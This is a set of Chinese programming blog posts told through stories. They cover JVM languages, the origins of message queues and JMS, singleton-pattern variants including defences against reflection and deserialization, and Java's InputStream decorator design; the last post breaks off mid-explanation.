                                                                                

                    

                    

                    
                    
                    Java 的创造者们在一开始就把Java 语言和Java 虚拟机分开， 现在看来是个非常明智的决定。




Java虚拟机定义了一个"软CPU",   和Intel 的x86 的指令集一样， 这个软CPU也有一套自己的指令，这就意味者对于任意一门编程语言， 只要你能编译成Java 的字节码指令，或者在运行时动态的生成字节码指令，  就可以运行在Java虚拟机中。




Java 虚拟机发展了这么多年， 已经非常的成熟和稳定， 是一个很有吸引力的平台。 除了Java 之外还有不少编程语言慕名而来， 今天就来聊一聊。
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Jython和JRuby








从这两位名字开头的字母 "J" 就可以看出来这两个语言和Java 的血缘关系。




没错，他们就是可以运行在Java 虚拟机上的Python 和 Ruby 。  不同于用C语言写的CPython和 CRuby,  这两者需要一个JVM才能运行。




既然是运行在JVM上的语言， 自然要能调用Java 类库， 要不然放着这么多优质Java 资源不用多可惜！




下面就是一个在JRuby 脚本中调用 Java Swing的例子：








如果你思考的深入一些，就会有这么一个问题 ： 由于Python 和ruby 都是脚本语言， 都是解释执行的， 没有编译的过程，  那Jython和JRuby 在解释的过程中，肯定得生成Java 字节码， 要不然JVM就会把他们拒之门外。那字节码是怎么在运行中生成的？




答案就是ASM , 一个可以动态生成字节码的Java 类库。




（码农翻身注： 参见文章《ASM： 一个低调成功者的自述》）




我个人觉得Jyhton和JRuby能在JVM上运行起来，调用Java 类库， 是个很好的卖点， 但是却难以大规模流行， 原因可能也是类库造成的。




最早的时候学习C语言， 由于没有良好的类库，就是对一个字符串操作都很麻烦， 那些更加高层的语言例如Java, Python, Ruby 就弥补了这个缺陷， 语言自带强大的类库， 再加上社区的贡献， 用起来非常顺手。 说个题外话， 这也直接导致了很多初学者的疑问： 语言都封装好了， 我还学数据结构干嘛？！




Python, Ruby 社区已经积累了大量的、好用的库， 他们才是Python, Ruby一派繁荣的主要原因，  但是这些库都是Python, Ruby写的， 也有不少是C语言写的， 这些海量的类库全部移植到Java 上绝非易事， 我们也不能要求类库的作者同时提供Java 版本 。




而Java 现成的类库总是感觉和Python , Ruby 有一点Gap,  语言设计的思维不同， 虽然可以集成互操作， 但还是感觉别扭。




也许Jython和JRbuy 只是小范围内或者特定场合使用吧。
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Groovy








Groovy 并不像Jython, JRuby, 它并不是一个现有语言在JVM上的移植， 而是一个全新设计的语言。




Groovy被定义为JVM上的动态脚本语言， 适合编写脚本， 测试用例和 领域特定语言(DSL)。




用Groovy 写的软件中有两个比较知名：




1.  Gradle

一个风头正劲的Build 工具， 得益于Groovy 简洁的语法， 可以用“Build领域特定的语言”来描述一个软件的构建过程，   写出的Build脚本 和Ant, Maven 的xml 脚本 相比，读起来更赏心悦目。 在Web项目，Android项目的 Build过程中有大量使用。

下面是一个例子， 大家可以感受一下和Maven 的区别：






2. Grail

这应该是模仿Ruby on Rail的一个项目，热度已经过去， 估计使用的人不多了。




记得在2008年IBM的毛新生带领着团队搞了一个Project Zero出来， 基于Groovy和PHP,  目标是快速Web项目开发， 喧嚣了一阵也是归于沉寂。




在JVM上， Java 是毋庸置疑的老大， Spring 是一座难以撼动的大山， 所以Groovy 最好还是把注意力集中到 小工具，测试 以及Build上， 这是它能最大发挥能量的地方。
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Scala 和 Clojure








Scala 第一次进入我的视线是一则新闻： Twitter 决定把核心应用从Ruby on Rails 迁移到Scala，作为曾经的Ruby拥趸， 看到这个消息是让人沮丧的 ： Twitter 可是Ruby on Rails 经常拿来宣传的一个明星系统了，   现在Twitter 竟然想转到Scala , Scala是什么鬼？  怎么可能获得Twitter 工程师的青睐？




后来看了一下，Scala是一个很有趣的语言， 在他的官网上写着“Object-Oriented Meets Functional” ， 面向对象遇上了函数式编程 ！   也就是说一门语言混合了两种编程范型。 不仅如此，它还是一个可以运行在Java 虚拟机上的语言， JVM的成熟和稳定， 可能也是Twitter 工程师选择Scala的重要原因。




（码农翻身注： 关于函数式编程， 可以参考《命令式编程 vs 声明式编程》）




有人说了，我面向对象还没学完呢， 还学函数式编程？    我推荐你看看《黑客与画家》一书， 看完以后十有八九会被Paual 自身成功的案例和 富有煽动性的语言给鼓动起来，  热血沸腾的去尝试函数式编程语言Lisp(我就是如此)  ：-)




但是我相信大部分人都只是浅尝辄止， 因为纯函数式编程和我们日常使用的C, Java, Python 这些命令式编程语言大相径庭， 需要巨大的思维转变， 最好是完全忘掉之前所学的命令式编程才行， 所以学习曲线极为陡峭， 把很多人都吓回去了。




现在好了， Scala即支持OO, 又支持Functional , 你可以在一个相对舒服的环境渐渐的去尝试函数式编程的奥妙，确实是不错的选择。




如果你非要学习一个纯粹的函数式编程语言， 可以考虑Clojure ，这是一个运行在JVM中的lisp方言， 同样可以和Java 类库互操作。







4


总结








说了这么多， 如果让我为一个大型项目选择语言， 我极有可能还是要选择Java,  对于一个大型项目来说， 代码的可读性、可维护性是非常重要的，我之前读一些动态语言的代码， 看到一个变量而不知道它的类型，没法查看它的行为，  这是非常令人抓狂的体验。




而Java 这种静态类型的语言，IDE的感知能力， 安全重构的能力是极为重要的， 让人觉得安全，可控，适合大团队协作。




（完）
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掘金是一个高质量的技术社区，从移动开发到架构设计，编程语言到开源类库，让你不错过互联网开发的每一个技术干货。长按图片二维码识别或者各大应用市场搜索「掘金」，技术干货尽在掌握中。












                    
                    
                    Java 帝国之消息队列

                                                                                

                    

                    

                    
                    
                    张家村的历史







Java 帝国的张家村正在迎来一次重大的变革。




5年前网上购物兴起的时候， 帝国非常看好， 决定向这个领域进军， 于是兴建了张家村， 在这里安装了Java 虚拟机和数据库， 然后部署了一个基于Web的订单系统和一个库存系统， 由张家村的人负责操作。




张家村的老村长很清楚， 说是两个系统， 其实是逻辑上的一种划分方式，  在物理上两个系统还是部署在一个虚拟机中。  那个时候用户量少， 数据量也不大， 村民们只要使用这一个Java 虚拟机和数据库就足够了。




订单和库存系统运转一直很好， 用户的订单来了， 会在订单系统中存下来， 然后通知库存系统发货。




你要问怎么通知？  老村长会告诉你说：  其实简单的很， 就是普通Java 方法的直接调用， 调用库存系统某个类的某个方法而已。  由于在同一个虚拟机之内， 效率极高 。






转眼间5年过去了， 人类变得越来越懒， 越来越喜欢网上购物，  用户量和数据量暴增， 再加上他们时不时搞个什么秒杀活动， 更是让张家村变得不堪重负。  为了应付汹涌而来的订单， 张家村经常彻夜灯火通明， 全村人三班倒才能勉强应付。




老村长向镇上报告了很多次都没有回音， 要不是帝国的性能监控部门发现了这个异常，还不知道要被瞒到什么时候。




还好，钦差王大人来了， 变革要开始了。







拆分







王大人经验丰富， 目光如炬， 一眼就看出了问题， 立刻下达了第一道命令： 拆分 ！ 把订单系统和库存系统分开！




老村长说： “那拆开了以后，我们村还是放不下啊”




王大人道： “订单系统还是留在张家村， 库存系统挪到李家庄去”




老村长暗自思忖，订单系统是直接面向用户的，很重要， 张家村一定要保住， 至于库存系统，主要是后台操作，挪走就挪走吧， 于是就答应了。




拆分不是那么容易的， 订单和库存耦合的比较紧密， 现在要把库存系统搬到李家庄的Java虚拟机和数据库去，免不了一番剧烈的折腾。




在王大人的指导下， 原先那些直接的Java 方法调用，也被改成了Web 服务 -- 张家村和李家庄虽然距离较远 ， 还是有网络相通的。  




 现在用户下了订单以后， 先在张家村保存， 然后由张家村调用李家庄的Web服务来通知库存系统。




数据库自然也做了拆分， 老的库存数据被导出来， 再导入到李家庄的新数据库中 。




不管过程是多么艰难， 两个系统还是分了家，李家庄喜气洋洋、敲锣打鼓的迎接了库存系统的部署， 开始了试运营。












新问题







由于只需要处理订单， 张家村的负载一下子降了下来， 恢复了正常的作息。




可是好景不长，张家村很快发现李家庄对新系统根本不上心， 派了一个酒鬼小李去负责操作库存Web服务， 小李喝醉了啥都忘了，  Web服务经常用不了。




这还不算，李家庄是严格的日出而作， 日落而息， 张家村正在繁忙的处理订单的时候， 李家庄已经把系统关了，睡觉去了。




这可苦了张家村的小张，用户提交了订单， 去调用Web服务通知库存发货， 可是Web服务经常不响应， 小张没有办法， 只好反复重试、等待一段时间后再试，导致一个订单很长时间才能完成， 用户体验极差， 大家怨声载道。




小张向李家庄投诉了很多次都不管用，没人搭理，跨村庄协作可真是难啊！




小张活干的不好，工分减少，  再这么下去，月底分粮的时候又要饿肚子了，小张想起来了自己经历过的《Java帝国之拨云见日识回调 》， 心里再次哀叹： 为什么受伤的总是我？  




晚上到家，小张苦思悯想：  原来订单系统和库存系统都在一个虚拟机中，  处理起来很方便， 但是现在是个远程的Web服务， 酒鬼小李不给我返回结果， 我就没法结束， 这是典型的同步操作， 能不能改成异步的呢？  




我把一个订单包裹发给小李， 他什么时候处理我就不用管了， 这样我这边的效率就会大大的提高！   可是现在的Web服务并不支持这种方式， 我怎么才能把包裹发过去呢？







消息队列







小张彻夜未眠， 第二天一大早就去请教老村长。




村长说： “你能想到这一层，非常不错！  近来我也一直在考虑这个问题啊， 在大型的分布式系统中，怎么做异步通信是个大问题， 我想到了一个叫消息队列的东西”




“消息队列？ 没有听说过”




“就拿你遇到的情况来说吧， 我们开发一个消息队列，名称我都想好了，就叫ZhangMQ(Zhang Message Queue),   把它部署在我们张家村和李家庄之间， 我们村产生的订单， 你只要负责把订单消息写到这个队列里就完事大吉了。 ”




“奥，李家庄的酒鬼小李醒了，就让他从这个消息队列中读取消息，进行处理，对吧”




“没错，这不就变成异步的了？ 酒鬼小李不处理， 那就是他们的责任了”




"那订单消息的格式需要和李家庄商量好， 另外次序也不能乱掉， 还有, 要是断电了或者重启了，消息队列中的订单消息也不能丢失 "  小张想的很深入




“没错，这些都是我们的ZhangMQ要考虑的，要实现持久化， 把订单消息存到硬盘上”




“这真是不错“  小张跃跃欲试    ”村长，我想去开发这个ZhangMQ， 一定要让我参加啊“




”没问题， 不过我当前最重要的是说服李家庄， 让他们来采用我们的消息队列“












经过据理力争和艰难协商，李家庄终于同意了消息队列的方案，毕竟对他们也没啥损失， 也不用听张家村没完没了的投诉了，只需要改一点点代码，从消息队列中读取订单即可。




小张和其他人在家里埋头开发ZhangMQ， 半年后，ZhangMQ正式上线，  彻底解决了异步通信的问题。




前钦差王大人对张家村做了回访，发现了消息队列，赞不绝口，回去后就发来了褒奖令，还下令在帝国推广， ZhangMQ一下子出名了！ 










你看到的只是冰山一角， 更多精彩文章，参见《码农翻身全年文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577













公众号：码农翻身





“码农翻身”公众号由工作15年的前IBM架构师创建，分享编程和职场的经验教训。
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背景





本文续上篇《Java 帝国之消息队列》




自从张家村的ZhangMQ问世以来，大家都看到了消息队列在分布式系统中的巨大好处，纷纷另起炉灶搞一套自己的消息队列，各种MQ产品如雨后春笋班出现，各家都疯狂的宣传自己的宝贝。




为了吸引程序猿来使用， 各家八仙过海，各显神通，定义了各式各样的API,    由于是独立发展，这些API协议多样，互不兼容， 学习成本高，使用起来非常不方便。




这是帝国所不能容忍的 ！




其实Java 帝国非常擅长搞出标准的协议和接口， 之前的JDBC就是一个典型的例子（参见文章《JDBC的诞生》）， 制定了协议以后， 让各个产品厂商去实现, 实现了针对数据库编程的统一接口。




既然数据库可以这么干， 消息队列肯定也没问题！

由于张家村开发了第一个消息队列产品， 帝国把制定标准接口的光荣使命交给了张家村。
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消息队列接口设计





张家村经验丰富的老村长又把任务分给了小张， 告诉他我们要做的是一个厂商独立的标准接口， 让他先去调研一下时下流行的MQ的现状。




小张先找到了某大厂著名MQ,  它占据了企业级市场不少份额， 但是直接使用它的 Java API 编程的话就不那么容易了， 大家可以快速浏览下：






小张能看的出这是在发送一个消息，但这MQEnvironment， openOptions，MQPutMessageOptions 看起来让小张心烦，特别是还得理解Queue Manager这样的概念，有点不容易。




小张又找了一个以开源吸引人的RabbitMQ ， 这个看起来清爽多了：






但是这queueDeclare方法 和 basicPublish 方法小张总觉得的不爽。




只看了两个消息队列， 小张就不想再看了， 他去找村长说： 这差别也太大了，根本无法统一。




村长说：”不要被纷繁的现象迷住了双眼， 要看透背后的本质， 做出适当的抽象才可以。“




又是抽象！  小张暗自叹气， 这抽象实在是太难了。

（参见文章：《 抽象，程序员必备的能力 》 ）







”你深入思考下“  村长看出了小张的困难， 鼓励他说： ”其实也没那么难， 我们先搞出几个最基本的概念,  记不记得操作系统中学过的生产者-消费者模型？  我们完全可以应用到这里来啊，   消息生产者(Message Producer)， 消息消费者 (Messge Consumer) ，  生产者提供发送消息的方法， 消费者提供接收消息的方法， 如果加上消息队列 (Message Queue) 的话就是这样：“









小张说：”这也太抽象了吧， 我看人家还有什么Queue Manager,  Connection ,Channel 之类的“




村长说： ”别急啊， 你看不管是生产者向队列发送消息，还是消费者去接收消息， 其实都是在和消息队列进行交互， 所以我们再引入一个会话(Session)的概念出来 。“




”奥，  我有点明白了 ，Session 可以创建消息， 还可以引入事务的支持呢“  小张思维敏捷




“不错，  其实消息生产者/消费者也应该由Session来创建，因为他们要发送/接收消息肯定是在一个会话中， 另外你想想， Session对象由谁来创建？”




小张说： “应该是Connection ” 说着小张画了一张图：






“你看这概念不就出来了，是不是很简单？ ” 村长笑着说。




小张挠挠头说： “会者不难，难者不会啊， 对了，我们还缺乏最关键的连接参数（ip地址，端口等）还有队列的名称之类的信息。 这些信息怎么办？”




“这确实有点复杂，各个厂商的具体情况差别太大。” 村长也表示犯难 ，“你让我想想， 下午再聊。”
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配置和代码的分离





小张中午吃饭的时候也在想， 这些复杂的配置参数该怎么办， 要是都让程序员在代码里写，那就太丑陋了吧， 因为不同的MQ产品，配置都不一样啊。




下午的时候，看到村长一副喜气洋洋的表情， 小张知道问题解决了。




村长说： “我想到了一个办法， 一个很简单，但是有效的办法。”




小张说：“别卖关子了，快说吧”




”其实也是又老又俗的办法了，  这个办法就是把配置和代码分开，  你不是说这些连接参数很复杂，各个厂商不同吗？  那就作为配置信息把它放到Web容器里，对外只提供一个简单的ConnectionFactory的接口，由这个ConnectionFactory来创建Connection， 当然了各个厂商必须实现这个ConnectionFactory“




"那怎么才能得到这个ConnectionFactory ?"




"这就简单了， 对程序员来讲，通过JNDI 就可以轻松拿到了， 例如："









”这办法不错，把细节都隐藏起来了， 既然ConnectionFactory可以这么搞， 队列(Queue)的配置信息也可以这么办啊。“




村长说：”所以ConnectionFactory, Queue 就是隔离细节的抽象层。”
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再次抽象





标准接口初具模型，小张很高兴，晚上请喜欢的张二妮吃饭， 忍不住得瑟了一下。




张二妮说：“你们两个老土，定义的标准接口，都已经过时了！”




小张很生气： “怎么可能呢？”




二妮说：“告诉你们吧， 你们搞的这个叫Point to Point模型，就是一个发送方，对应一个接收方， 现在外边有很多人在用 发布/订阅 的模型，你们知道不？ ”






“一个客户端(Client1)对一个Topic发布了消息， 很多订阅了这个Topic的客户端(Client2, Client3) 都可以接收到这个消息的副本。”




小张呆住了， 这和以前ZhangMQ的方式完全不同， 队列都不见了， 引入了一个新的主题(Topic）的概念。




第二天， 小张赶紧去找村长， 告诉他发生了新情况。




村长说： “你呀，还是太年轻， 慌什么，深入思考一下， 这个发布/订阅的本质和我们之前的生产者/消费者没什么不同。 ”




小张说： “那人家还有Topic的概念呢。”




“我们可以把Topic和Queue 变成一个更抽象的概念，他们都是消息的目的地， 嗯， 就叫做Destination吧，这个Destination的细节也是需要配置出来的， 通过JNDI来获取。”




“那订阅怎么处理？”




村长说： “原来我们定义的是MessageConsumer, 现在增加一个新概念叫做 TopicSubscriber ， 可以从Destination获取消息，这不就行了， 其实从本质上来讲Subscriber也是消息消费者的一种而已。”




“那怎么才能实现订阅的功能呢？”




“别忘了， 我们只定义接口行为， 具体的实现需要由各个产品来负责！”









小张看着这幅图， 深感抽象的威力巨大， 这么多的细节最后变成了这几个简单的概念！




小张还特意写了一段代码，展示上面的概念：









张家村把这个设计交了上去， 帝国很满意，把它起名为Java Message Service (JMS)， 随后强制各大产品实现JMS， 否则就不颁发进京证， 没这个证别想在帝国做生意！




JMS由于设计良好，概念清晰，其实不用怎么强制，很快就流行开了，成为了Java 帝国的事实标准。




后记： 其实JMS规范的制定是在Sun的领导下，各大厂商密切参与完成的：




There were a number of MOM vendors that participated in the creation of JMS. It was an industry effort rather than a Sun effort. Sun was the spec lead and did shepherd the work but it would not have been successful without the direct involvement of the messaging vendors. Although our original objective was to provide a Java API for connectivity to MOM systems, this changed over the course of the work to a broader objective of supporting messaging as a first class Java distributed computing paradigm on equal footing with RPC.




- Mark Hapner, JMS spec lead, Sun Microsystems




（完）







你看到的只是冰山一角， 更多精彩文章，参见《码农翻身2016文章精华》





有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577










公众号：码农翻身





“码农翻身”公众号由工作15年的前IBM架构师创建，分享编程和职场的经验教训。













                    
                    
                    Java帝国之单例设计模式

                                                                                

                    

                    

                    
                    
                    前言：本文原作者是王钦誉，原文链接：https://xiaoqinyu0000.github.io/Java/JavaSingleton/

之前王钦誉还写过《Java帝国之拨云见日识回调》。 




这篇文章很长，讲了单例模式的方方面面， 建议认真读完。
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背景





在Java帝国，有一个隐蔽的村庄叫IO村，村里每个人都身怀绝技。其中，SocketIO、HttpIO、FileIO更是专注于某个领域的高手。




FileIO，它十余年苦练文件存储技术，雄心壮志，决定走出村庄，去外面闯一闯。




FileIO到了城里，成功的通过了面试，进入一家IO科技责任有限公司，专门负责文件存储等工作。
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懒汉式








FileIO刚进入公司，工作不久，就接到3、4次投诉，投诉理由是“在系统中使用FIleIO之后，频繁地发生内存抖动，导致内存吞吐量骤减”。




FIleIO大急，连忙查看日志，原来在系统运行中，自己的实例被频繁地创建与销毁。




FileIO找到主管老张： “咱们能不能给客户说一下， 让客户对我的实例进行缓存，别这么频繁地创建啊”。




老张，“我们很难去规定客户怎么用，不过我们可以做一些引导。我看你也不需要创建多个实例，你可以创建一个实例给客户使用，不对外开放创建实例的权限就行”。




FileIO眼睛一亮，赶紧请教老张具体该怎么做。




老张说：“其实很容易。

第一、把自己的构造方法设置为private的，不让别人new你的实例；

第二、提供一个static方法给别人获取你的实例，你在这个方法里面返回你自己创建的实例就行”。




FileIO按照老张的思路做了修改：









以后别人在调用FIleIO的时候就不再使用new的方式去创建一个FIleIO的实例，而是调用static方法getInstance()获取FileIO的实例，例：






这样一来，FileIO就不会频繁的被创建了，

后来，FileIO才知道自己的这种实现机制就是“单例设计模式”，并且被人称为“懒汉式”， 可能是因为在需要的时候才创建吧， 显得很“懒”。
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饿汉式











FileIO使用单例模式修改后解决了问题，在公司例会上被技术总监大大地表扬了一次。




FileIO非常傲娇，在村里的微信群里向小伙伴们炫耀这件事。




村里的HttpIO自己也存在类似的问题，也需要自修一下，于是它按照了FileIO在微信群中分享的思路进行修改：









实现的方式虽有所不同，但调用方式和效果都是一样的（都能实现单例）。




HttpIO总觉得自己的实现方式更好， FileIO则说自己的Lazy方式更流行， 毕竟不调用FileIO的话对象就不会创建。




两人争执不下， 于是就去请教经验丰富的老张。 




老张说，你们这都是单例设计模式的实现方式，HttpIO的实现方式在单例设计模式中被称为饿汉式”（可以能由于太饥饿， 一上来就创建了对象）两者的执行顺序有所不同：

FileIO的实现在第一次调用的时候先执行了getInstance()方法，再执行构造方法。




HttpIO的实现在第一次调用的时候先执行了构造方法，再执行getInstance()方法。




而且，饿汉式是一种线程安全的写法。
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线程安全(synchronized)








FileIO表示不服， 老张说，我给你举个例子，

当有多个线程并发执行getInstance()的时候，可能会出现以下的情况而导致FileIO产生多个实例。”




线程一 ： FileIO.getInstance()

（FileIO:判断fileIO为null，进行fileIO实例的初始化）

线程二： FileIO.getInstance()

(FileIO:  fileIO还没初始化完，依然为null, 于是进行另外一个fileIO实例的初始化)




等到两个线程都返回的时候，其实是创建了两个FileIO的实例。






（点击看大图）




FileIO恍然大悟，线程安全可得好好重视，好在以前研究过一点线程安全的问题，直接加上synchronized：






这样一来，当有两个线程同时执行getInstance()方法的时候，一旦线程一获取到FileIO.class锁，线程二只能在外面等待着。




在线程一执行完getInstance()的逻辑后释放FileIO.class锁，其他线程才能获取这个锁进入getInstance()方法中。

这样就避免了创建两个FileIO的实例







流程如下：






（点击看大图）
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线程安全-双重检验锁








老张锊一锊胡须，道：“这种做法简单明了，确实保证了线程安全， 还能更优化呢！”




FileIO不服气，“我不信，难道还有比我只加一个synchronized更简单的做法？”。




老张笑了一下，“我说的优化并不是指简单化。你想想啊，如果fileIO实例不为空时，还需要使用synchronized来限制执行时只能一个线程进入吗？来来来，老哥给你露一手。”









“我这招江湖人称”双重检验锁“，够酷吧！”。




“老司机就是复杂，好端端的，被你弄了那么多个fileIO == null的判断，还用volatile关键字修饰fileIO，这样真的能提升性能吗？”




“you look，当有多有线程调用getInstance()方法的时候，不管三七二十一，先让他们进来。如果fileIO实例不为空，那最好了，直接return实例fileIO，跟synchronized一点都扯不上关系，所以也不会影响到性能。这是双重检验中的第一次检验。”




“oh，I know，如果fileIO是null的，就进入synchronized语句块，在synchronized语句块里面初始化对象。但为什么在synchronized语句中需要再次检查fileIO实例是否为null？”




“这就是第二次检验了，当有多个线程通过第一次检验时，假设线程拿到锁进入synchronized语句块，对fileIO实例进行初始化，释放FileIO.class锁之后，线程二持有这个锁进入synchronized语句块，此时又对fileIO对象就行初始化。所以在这里进行第二次检验防止这种意外发生。”




“我理解了，但我不明白fileIO为什么要用volatile关键字修饰？”




“我们假设线程一进入第二次检验之后就执行FileIO fileIO = new FIleIO()操作，在这个操作中，JVM主要干了三件事

1、在堆空间里分配一部分空间；

2、执行FileIO的构造方法进行初始化；

3、把fileIO对象指向在堆空间里分配好的空间。




但是，当我们编译的时候，编译器在生成汇编代码的时候会对流程顺序进行优化。优化的结果是有可能按照1-2-3顺序执行，也可能按照1-3-2顺序执行。




我们知道，执行完3的时候就fileIO对象就已经不为空了，如果是按照1-3-2的顺序执行，恰巧在执行到3的时候（还没执行2），突然跑来了一个线程，进来getInstance()方法之后判断fileIO不为空就返回了fileIO实例。




此时fileIO实例虽不为空，但它还没执行构造方法进行初始化。又恰巧构造方法里面需要对某些参数进行初始化。后来闯进来的线程糊里糊涂对那些需要初始化的参数进行操作就有可能报错奔溃了。”
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线程安全-静态内部类








“弄一个单例模式要这么麻烦，写这么多代码，我还是使用饿汉式单例模式算了！”，FileIO抱怨说。




老张笑着说，“那也不能这么想呀，其实我们可以根据使用场景不同来使用不一样的单例模式。如果我们需要在getInstance()方法的时候传入参数进来辅助构造方法初始化，那就得用懒汉式了，比如：“






FileIO一想，也对，其他情况就可以使用饿汉式了。




老张好像看出FileIO的想法，道：”其实饿汉式也有其他弊端，比如当我们不想获取FileIO的实例而是想获取其中一个全局变量的时候，在类加载的时候还是会对fileIO实例进行初始化，导致时间比较久。举例如下：






当调用FileIO.TYPE_MP3的时候，INSTANCE实例也会被初始化，这显然不是我们需要的。所以，我们Java帝国的高手们又想出了一种叫静态内部类的单例模式，它简单又保证实例能进行懒加载。”






FileIO眼睛一亮，“这个我能理解，当执行getInstance()方法的时候就去调用FileIOHolder内部类里面的INSTANCE实例，此时FileIOHolder内部类会被加载到内存里，在类加载的时候就对INSTANCE实例进行初始化。和饿汉式一个道理，保证了只有一个实例，而且在调用getInstance()方法的时候才进行INSTANCE实例的初始化，又具有懒汉式的部分特性。”




老张满意地说，“是的，但这种写法是利用JVM的机制完成的，在其他语言不一样适用哦！”
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黑客破坏-反射和反序列化








听了老张一堂课，FileIO收获匪浅，这些都是以前在村里老村长没讲过的一些技巧，它非常高兴，仿佛看到自己在以后踏上人生巅峰、迎娶白富美的样子。




老张决定给它泼泼冷水，“还没完呢，在我们Java帝国，有很多被称为黑客的家伙，他们经常搞破坏，你如果只按照上面介绍的写法使用单利模式，很有可能被破坏哦！”




FileIO愣住了，接着问，“那怎么办呀，他们都是怎么破坏的？”。




老张故作深沉地答，”其实他们的破坏方式无非就是这两种：

1. 反射调用构造方法初始化新的实例

FileIO fileIO = FileIO.class.newInstance();





2. 序列化和反序列化产生新的实例






对于通过反射调用构造方法的破坏方式我们可以通过在增加全局变量flag，在第一次初始化的时候就设置为true，第二次初始化的时候判断到flag为true就抛出异常。但这种办法也只能避免破坏，无法彻底阻止，因为他们可以反射flag来修改flag的值。




对于使用序列化和反序列化产生新的实例的方式就容易避免了，可以增加readResolve()方法来预防。我们使用静态内部类的方式来演示如何避免：”









FileIO不解：”为什么增加readResolve()方法并在里面返回之前创建好的实例就可以避免被反序列破坏呢？“




“这是反序列化机制决定的， 在反序列化的时候会判断如果实现了serializable 或者 externalizable接口的类中又包含readResolve()方法的话，会直接调用readResolve()方法来获取实例。”，老张解释道。
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终极招数








FileIO叹一叹气，”虽然单例看起来简单， 但是要弄一个完美的单例模式还是比较麻烦的！“




老张眨了眨眼，“我还有终极招数呢！”




“咦！”









FileIO看着简单又陌生的自己，向老张投去疑惑又质疑的眼神。




老张解释：“别看你现在是枚举类型，但实际上反编译可知枚举实际上就是一个继承Enum的类。所以你的本质还是一个类，因为枚举的特点，你只会有一个实例，同时保证了线程安全、反射安全和反序列化安全。”




FileIO感慨，原来单例也可以这么简单，“你妹的老张，有这么简单的方法你不早告诉我。”




“我们重在过程，不在结果。”




（完）







你看到的只是冰山一角， 更多精彩文章，参见《码农翻身2016文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577










公众号：码农翻身





“码农翻身”公众号由工作15年的前IBM架构师创建，分享编程和职场的经验教训。













                    
                    
                    对Java Inputstream的一次采访

                                                                                

                    

                    

                    
                    
                    前言： 本文是来自于“育树霖疯”微信公众号， 作者把Java IO的装饰者模式以很形象的方式讲了出来， 很有意思。



在学习java.io.*包的时候，InputStream那一群类很让人反感，子类繁多就不用说，使用起来非常奇怪。我们想以缓存的方式从文件中读取字节流。总要先创建一个FileInputStream,然后把它放入BufferedInputStream构造函数中去创建BufferedInputStream。完成这些工作后才能开始读取文件。













为什么我们不能直接以缓存方式（BufferedInputStream）从文件中读取数据呢？今天我带着这样的问题走进InputStream的家，对老人家进行一次采访， 希望他能解决我心头的疑惑。




我：老人家您好，我用InputStrem用了很久了， 一直以来都有一个问题困扰着我， 想请教您一下，为什么我们想以带缓存的方式从文件中读取字节流需要创建FileInputStream和BufferedInputStream两个类，这太麻烦了，你看看人家Python, Ruby, 都是打开文件后直接就可以读了，多方便啊！ 




 InputStream：年轻人，不要有情绪 ！ 存在的就是合理的，  这其实是一个很长的故事， 要从很久很久以前说起。那时候Java刚刚诞生，我也幸运地被创造出来。那时候帝国实施严格的计划生育，我还没有任何子孙，很是寂寞。一天，有一个叫小霍的年轻人找到了我。他说他要让我飞黄腾达，子孙满堂。




我：这么神？那您讲讲您和小霍之间的故事吧。









时光倒流回20年前，小霍初见年轻的InputStream。




小霍:InputStream先生你好，我是JAVA帝国计划生育委员会的工作人员，组织上听说你孤苦伶仃的，很是于心不忍，又给你争取了好几个生育名额， 让你像Java集合框架那样儿孙满堂。




InputStream：真的吗？ 我知道争取生育名额很不容易，那你说说，组织准备让我生几个？




小霍：你是IO的输入类，负责读取数据（字节流）。数据就是你的包裹，你一般从哪些渠道获得包裹？




InputStream：文件，字节数组，StringBuffer，其它线程，对了还有已经被序列化的对象。




小霍： 那你先根据数据来源的渠道生5个孩子，老大叫FileInputStream，处理文件，老二叫ByteArrayInputStream，处理字节数组，老三叫StringBufferInputStream，处理StringBuffer，老四叫PipedInputStream，处理线程间的输入流，老五叫ObjectInputStream，处理被序列化的对象。 




InputStream：万一有一个包裹里面有多个或者多种数据输入流呢。




小霍：那就再生一个SequenceInputStream，处理一个包裹里有多种数据来源的业务。还有其它问题吗？没问题我就回单位了。帝国刚建立，我们计划生育委员会掌管着全国的生育名额，我还忙着呢。你抓紧时间生孩子，有问题再找我。 




InputStream：好咧，我这就关灯造人。 




交流完毕后，小霍走了，我也抓紧时间把我6个孩子生了出来，为国家做贡献。InputStream的6个孩子齐心协力，处理了JAVA早期很多的输入业务。但是他们也面临了新的问题。没过多久。年轻的计生委员小霍再次找到了InputStream。 




小霍：你那6个孩子都是能人啊，但是现在客户抱怨他们的工作还不够到位。




InputStream：我那6个孩子各司其职，工作勤勤恳恳，怎么还有人抱怨？ 




小霍：客户嘛，都比较挑剔。他们抱怨你们读取数据太慢了，尤其是你的老大FileInputStream每次读数据都慢死了。好多客户等待都超过了几秒了，还没把数据等回来。 




InputStream：几秒很慢吗？ 




小霍：我们计算机都是以纳秒计时的，所谓世间一秒钟，机器已千年。那些客户头发都等白了。 




InputStream: 读数据慢能怪我吗？这不是硬盘慢造成的吗？ 




小霍：是，是硬盘造成的，我们想一个办法让用户减少访问硬盘的次数。比如建一个buffer怎么样？用户需要的数据先让他们在buffer里面找，能找到就直接从buffer里返回，实在找不到再去硬盘里找。Buffer在内存里，内存可比硬盘快10万倍呢（内存在随机访问的速度上是硬盘的10万倍以上）。 




InputStream：这办法好。客户抱怨的其他问题呢？ 




小霍：客户想要的数据类型都是int, long, String这样的JAVA基本类型，而你提供给他们的都是byte类型，还需要客户自己进行类型转换。客户觉得麻烦。还有一个问题，Stream里面读出来的数据就不能重新放回去，客户想要一个功能，能把读出来的数据再推回Stream里面。




InputStream：看来我得再生3个孩子: 拥有缓存的BufferedInputStream，把byte转换成JAVA基本类型的DataInputStream和回写数据到stream的PushbackInputStream。




小霍：老伙计，你糊涂了，不止3个。就拿FileInputStream 来说吧， 加上这三个功能就需要三个子类

Buffered + FileInputStream

Data+ FileInputStream

PushBack + FileInputStream




还有更大的问题，万一某个特殊的客户既想有数据回写，又想要输出int,long,String这样的数据，还有要缓存。    或者说他们只要三个功能中的两个，这样组合起来， 又需要4个子类

Buffered + Data + FileInputStream

Buffered + PushBack + FileInputStream

Data + PushBack + FileInputStream

Buffered + Data + PushBack + FileInputStream




